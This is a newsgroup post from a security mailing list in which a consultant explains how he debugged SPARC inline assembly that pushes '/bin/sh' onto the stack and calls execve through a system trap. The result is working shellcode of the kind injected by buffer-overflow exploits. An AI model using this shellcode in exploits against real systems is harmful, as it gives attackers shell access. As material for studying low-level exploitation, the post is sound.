RE: SPARC assembly - a beginner's question...

"Steve Wilson" <[email protected]>
Newsgroups gmane.comp.security.sun
Message-ID <[email protected]>
Hi all,

Thanks to everyone who replied to this - I've managed to solve the problem
now - and thought I'd send a quick message summarising my results for anyone
who is interested.

From: Steve Wilson [mailto:[email protected]]
>
>   __asm__("
>     set 0x2F62696E, %o0   ! %o0=/bin
>     st %o0, [%fp-8]       ! push ^ onto stack
>     set 0x2F736800, %o0   ! %o0=/sh\0
>     st %o0, [%fp-4]       ! push ^ onto stack
>     add %fp, -8, %o0      ! %o0=address of string
>     or %g0, %g0, [%fp-12] ! clear %fp-12
>     st %o0, [%fp-16]      ! write pointer to string onto stack
>     add %fp, -16, %o1     ! %o1=pointer to pointer to string
>     or %g0, %g0, %o2      ! %o2=NULL
>     mov 0x3b, %g1         ! set value in global register
>     ta 8                  ! system trap
>   ");
> }

Problems with the above code:

1. The main problem (that was stopping it from compiling properly) appeared
to be the "! %o0=/sh\0" comment. The "\0" character was being interpreted as
a terminator to the __asm__ string resulting in compilation stopping at that
point. I've also had issues where I'd put '"' characters in comments which
resulted in compilation issues.

2. It is not possible to store a 32bit value (for example 0x2f62696e) with a
single set command[*]. The sethi instruction should be used(in conjunction
with %hi()) to set the high 22 bits followed by an or (in conjunction with
%lo()) to set the remaining bits. As shown in the following code snippet:

sethi %hi(0x2F62696E), %l2    ! put /bin in %l2
or %l2, %lo(0x2F62696E), %l2  ! 2 stage-process
sethi 0x2F736800, %l3         ! put /sh in %l3
std %l2, [ %sp ]              ! push ^ onto stack

In this instance, because the second value has the lower 10 bits all set to
0, it is not necessary to make an or instruction to set the lower bits.

[*]: NB: Although it isn't "proper" assembly - gcc will compile a set
{32bit-val}, {addr} - and convert it into the appropriate "sethi" and "or"
instructions. This appears to be used as a shortcut by some (Dave certainly
does it in his example document) so they can write shorter code and use gdb
to extract the shell code after the compiler has fixed it.

3. "clr {addr}" != "or %g0, %g0, {addr}"
   "clr {addr}"  = "st %g0, {addr}"

So, after a re-write, I'm left with the following working code:

  __asm__("
    sethi %hi(0x2F62696E), %l2    ! hi bits of /bin
    or %l2, %lo(0x2F62696E), %l2  ! lo bits of /bin
    sethi %hi(0x2F736800), %l3    ! hi bits of /sh
    std %l2, [ %sp ]              ! push string onto stack
    st %sp, [ %sp + 8 ]           ! address of /bin/sh string
    st %g0, [ %sp + 12 ]          ! clear %sp+12
    mov %sp, %o0                  ! %o0 = pointer to string
    add %sp, 8, %o1               ! %o1 = ptr to ptr to string
    mov 0, %o2                    ! %o2 =  NULL
    add %sp, 16, %sp              !
    mov 0x3b, %g1                 ! set value in global register
    ta 8                          ! system trap
  ");

Changes:
1. Using local registers %l2 and %l3 to store /bin/sh\0 rather than %o0
looping;
2. Single std command to push this string onto stack;
3. Use of [ %sp + # ] rather than [ %fp - # ];
4. Comments that don't break the compiler! ;-)

Now all I have to do is work out what to do with it next...

Cheers,

Steve.

--
Stephen Wilson
Senior Security Consultant
Security Health Check

L305/9, QinetiQ, St Andrews Rd, Malvern, Worcs, WR14 3PS
Tel: 01684 894153  Fax: 01684 897417
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.